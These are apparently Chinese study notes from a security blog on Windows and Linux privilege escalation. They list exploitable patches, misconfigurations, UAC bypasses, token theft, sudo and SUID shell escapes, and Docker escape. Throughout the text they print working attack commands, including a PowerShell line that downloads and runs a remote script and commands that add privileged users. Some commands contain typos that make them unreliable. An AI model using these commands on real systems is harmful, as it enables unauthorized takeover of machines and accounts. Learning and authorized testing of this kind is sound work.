内网安全学习笔记-Ⅳ:权限提升

继续学习内网安全,这是第四章以及拓展Linux提权的总结…

一、Windows提权

Windows权限

在windows中,权限大概分为4种,分别是User、Administrator、System、TrustedInstaller。

User:普通用户权限,是系统中权限最低的用户;

Administrator:管理员权限,相对来说权限较高。可以利用Windows的机制提权为System,从而操作SAM文件等;

System:系统权限。可以对SAM等敏感文件进行读取,往往需要将administrator权限提升为system权限才可以对散列值进行Dump操作;

TrustedInstaller:最高权限,常规使用中不会涉及。System对系统文件无法修改,只有TrustedInstaller才可以。

Windows操作系统常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方服务提权等。

image-20210122194452107

常见提权方法

1、内核漏洞提权

Windows平台提权漏洞合集:windows-kernel-exploits

常用的提权漏洞:
漏洞代号 补丁编号 适用平台 用途
MS14-058 KB3000061 03,08,12,Win7 本地提权【CS常用】
MS14-068 KB3011780 域控未安装补丁的域内,03,08,12 域内提权
MS15-051 KB3057191 03,08,12,Win7 本地提权
MS16-032 KB3143141 08 r2以后,12,Win7 本地提权
MS17-010 KB4013389 03,08,12,16,win7 远程注入dll
CVE-2018-8120 KB4131188 08,win7 本地提权【MSF常用】
CVE-2020-1472 08,12,16 ,19 域内提权
寻找缺失补丁

寻找缺失补丁可以利用系统命令、MSF、Windows Exploit Suggester、Powershell的Sherlock脚本和CS的Elevate功能。

利用系统命令:

1
2
3
4
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 快速比对查找缺失补丁,注意这个要根据实际的系统版本来看。
systeminfo > temp.txt&(for %i in (KB3000061 KB3011780 KB3057191 KB3143141 KB4013389 KB4131188) do @type temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt

利用在线查询:

1
2
https://bugs.hacking8.com/tiquan/
粘贴补丁号码或者systeminfo来进行查询

利用MSF:

1
2
3
use post/windows/gather/enum_patches
set session id
run

利用Windows Exploit Suggester:

下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然后根据操作系统版本,和systeminfo生成的文件进行比对。微软公开漏洞库下载地址:http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。

利用Powershell Sherlock:

1
2
Import-Module C:\Sherlock.ps1
Find-AllVulns

2、系统配置错误提权

Windows系统常见的配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。

系统配置错误提权有权限配置错误、注册表键AlwaysInstallElevated、可信任服务路径漏洞、自动安装配置文件、计划任务和Empire内置模块提权方式。

系统权限配置错误

系统权限配置错误有如下两种可能:

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提取

查找该漏洞有两种利用方式PowerUp和MSF。

PowerUp利用方式:

1
2
3
4
5
# 以下两种可以检测漏洞服务
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -exec bypass -Comand "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1');Invoke-AllChecks"
# 示例,根据上面检测出如果存在OmniServers服务漏洞,利用下面命令添加用户
powershell.exe -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Install-ServiceBinaery-ServiceName 'OmniServers' -UserName user1 -Password possword1

MSF利用方式:

1
2
3
4
use exploit/windows/local/service_permissions
set aggressive true
set session id
run
注册表键AlwaysInstallElevated提权

注册表键AlwaysInstallElevated是一个策略设置项,Windows允许低权限用户以System权限运行安装文件,如果启用该策略设置项,呢么任何权限下的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

漏洞原因:运维人员启用了组策略-计算机配置&用户配置的管理模板-Windows组件-Windows Installer的始终以高权限进行安装。

Windows Installer是Windows操作系统的组件之一,专门用来管理和安装软件服务。Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,Windows Installer通过Msiexec.exe安装MSI文件包含的程序。

image-20210122105856136

1
2
3
# 对应注册表项,键值都是1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

利用方法:

可以通过powerup进行利用

1
2
3
4
5
6
7
8
# 运行
powershell.exe -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
# 运行Write-UserAddMSI模块生成MSI文件
Write-UserAddMSI
# 添加用户
msiexec /q /i UserAdd.msi
# 查看
net user
可信任服务路径漏洞

Windows服务通常以System权限运行,系统在解析文件路径时也会以System权限运行。如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

比如一个完整的文件路径C:\Program Files\Some Folder\Service.exe,系统会对路径中空格的所有可能情况进行测试,直至找到一个可执行的程序。

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

因此当一个构造过命名的程序被上传到受影响的目录下时,服务一旦被重启,该程序就会以System权限运行。

通过MSF利用:

1
2
3
4
5
6
# 寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# msf攻击模块
exploit/windows/local/trusted_service_path
# 正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样,在计划任务下次执行时,就会以以高权限来运行恶意程序。

1
2
3
4
5
6
# 查看计算机的计划任务
schtasks /query /fo LIST /v

# 查看指定目录的权限配置情况。accesschk是微软官方提供的工具,一般不会引起杀软告警
# accesschk下载地址:http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
accesschk.exe -dqv "D:\test" -accepteula

3、组策略首选项提权

sysvol是活动目录的一个用于存储公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制。sysvol文件夹是在安装活动目录时候自动创建的,主要用来存放登录脚本、组策略数据及其他域控需要的域信息。sysvol在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个sysvol目录在所有的域控中是自动同步和共享的,所有组策略在:C:\Windows\SYSVOL\domain\Policies中。

在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。

常见的组策略首选项(Group Policy Perferences,GPP):映射驱动器(Drives.xml)、常见本地用户、数据源(DataSources.xml)、打印机配置(Printers.xml)、创建/更新服务(Services.xml)、计划任务(ScheduledTasks.xml)。

利用方法,只有存在漏洞才可以利用,该漏洞对应补丁KB2962486:

1
2
3
4
5
6
# Powershell获取cpassword
Get-GPPPassword.ps1
# Msf
post/windows/gather/credentials/gpp
# Empire
usemodule privesc/gpp

4、绕过UAC提权

uac说明:https://www.cnblogs.com/Chesky/p/UAC_Bypass.html

UAC(User Account Control,用户帐户控制)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

UAC需要授权的动作包括:

  • 配置Windows Update;
  • 增加或删除用户账户;
  • 改变用户的账户类型;
  • 改变UAC设置;
  • 安装ActiveX;
  • 安装或移除程序;
  • 安装设备驱动程序;
  • 设置家长控制;
  • 将文件移动或复制到Program Files或Windows目录;
  • 查看其他用户文件夹等

利用方法,可参考https://www.cnblogs.com/backlion/p/10552137.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Windows权限升级绕过UAC保护-进程注入
exploit/windows/local/bypassuac
# Windows权限升级绕过UAC保护-内存注入
exploit/windows/local/bypassuac_injection
# 绕过Windows UAC保护(通过FodHelper注册表项)
exploit/windows/local/bypassuac_fodhelper
# Windows权限升级绕过UAC保护(通过Eventvwr注册表项)
exploit/windows/local/bypassuac_eventvwr
# Windows权限升级绕过UAC保护(通过COM处理程序劫持)
exploit/windows/local/bypassuac_comhijack

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

5、令牌窃取

令牌是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在系统中,除非系统重新启动。

伪造令牌进行攻击的核心是利用Kerberos协议的漏洞。

通过MSF:

1
2
3
4
use incognito
list_tokens -u
impersonate_token WIN-2HU3N1\\Administrator #注意:这里是两个反斜杠\\
shell

通过烂土豆(Rotten potato)提权【MS16-075】:

1
2
3
4
5
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > getuid

6、数据库提权

可参考:https://www.freebuf.com/articles/web/239338.html

Mysql提权、SQL Server提权
1
2
3
4
分类:功能型,技巧型,漏洞型
功能型:udf提权
技巧型:启动项提权
漏洞型:mof提权

二、Linux提权

image-20210123134027171

1、内核漏洞提权

收集信息

1
2
cat /etc/*-release 
uname -a

Seachsploit:根据内核信息查找漏洞

1
searchsploit linux 3.10 CentOS Linux 7

linux-exploit-suggester

1
2
3
https://github.com/jondonas/linux-exploit-suggester-2/blob/master/linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl
https://github.com/SecWiki/linux-kernel-exploits

典型示例:脏牛漏洞(CVE-2016-5195)

2、明文root密码提权

passwd 储存了用户,全用户可读,root 可写;

shadow 存储密码的 hash,仅 root 可读写

passwd 文件:daemon:x:1:1:daemon:/usr/sbin:/bin/sh

passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(这样非 root 就看不到了)。而 shadow 里面最重要的就是密码的 hash。

利用:

passwd、shadow 是否可写

ls -l passwd shadow

1、passwd 可写

从上面图片里看到,passwd 文件是可写的,将 passwd 的 root 密码 X 替换为我们自己的 hash,如替换为自己 linux 里的 hash,可修改目标的 root 密码

2、shadow 可读

把 shadow 里面 root 的 hash 辅助出来,用 hash、john 爆破

3、密码复用

同一个密码可以被用在多个地方,比如数据库、web 后台密码 可能就是root的密码

4、sudo滥用

/etc/sudoers文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。可以访问https://gtfobins.github.io/查看支持的命令

1
2
# 查看当前用户可以sudo的程序
sudo -l

SU:

1
sudo su

image-20210127145327674

awk:

1
sudo awk 'BEGIN {system("/bin/sh")}'

image-20210127145146086

man:

1
2
3
sudo man man
# 进入后 输入下面命令进入命令行
!/bin/sh

image-20210127145821823

5、su root被禁止登录

场景:

拿到 root 密码,端口转发,代理,但防护墙禁止其他人登录 root,在原来的低权限 shell,也无法 sudo 切换 root 。

原因:

因为出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。

所以 sudo 在你输入密码的时候本质上是读取了键盘,而不是读取 bash 里面输入的字符。

利用:

python 语法:

python -c ‘import pty;pty.spawn(“/bin/sh”)’

交互 shell,简单 shell 中直接按删除键是不行的,要按住 ctrl 键之后,再按住删除键才可以,其他键的使用也一样

$ sudo su

6、计划任务

非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,并且默认这些程序以 root 权限执行

1
ls -l /etc/cron*

如果定时任务里面有普通用户权限的定时任务,则可以修改定时任务的脚本来达到以root执行命令的目的。

7、SUID

SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行【ls 查看时有 s 属性才支持 SUID】,

如 passwd 文件,普通用户不能直接读写,但可通过 passwd 命令,以 root 权限修改 shadow(因为 shadow 是 root 权限文件,修改会以 root 权限修改)

查找正在系统上运行的所有SUID可执行文件

1
2
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

利用:

提权思路:
某设置了suid的程序, 执行时可交互修改某文件或执行命令。那通过运行这个程序, 就获得了root权限。
vim
:set shell=/bin/sh
: shell

比如发现了find

1
2
3
4
5
#随便新建一个文件,或利用已有文件
touch abc

#以SUID即root权限执行命令
find abc -exec whomai \;

nmap SUID提权

1
2
3
#2.02 to 5.21版本 用交互模式执行shell命令
sudo nmap --interactive
nmap> !sh

8、Docker逃逸

参考:https://www.freebuf.com/articles/system/170783.html,https://blog.csdn.net/qq_41874930/article/details/109216506,https://www.cnblogs.com/xiaozi/p/13423853.html

判断是否在docker环境里:ls -lah /.dockerenv

主要有以下几种提权方式:

配置不当引起的逃逸:

  • Docker Remote API 未授权访问

  • docker.sock 挂载到容器内部

  • docker 高危启动参数

    • privileged 特权模式
    • 挂载敏感目录
    • 相关启动参数存在的安全问题

Docker 软件设计引起的逃逸:

  • Shocker攻击
  • runC容器逃逸漏洞(CVE-2019-5736)
  • Docker cp 命令(CVE-2019-14271)

内核漏洞引起的逃逸:

  • 脏牛漏洞(dirtycow-docker-vdso)

参考链接:

https://yoga7xm.top/2019/04/09/IPentest-admin/#Windows-Hash%E8%8E%B7%E5%8F%96

https://wiki.wgpsec.org/knowledge/hw/privilege.html#%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87

https://www.freebuf.com/articles/system/254836.html

https://www.cnblogs.com/-mo-/p/12718115.html

https://cloud.tencent.com/developer/article/1544037

https://www.freebuf.com/articles/web/239338.html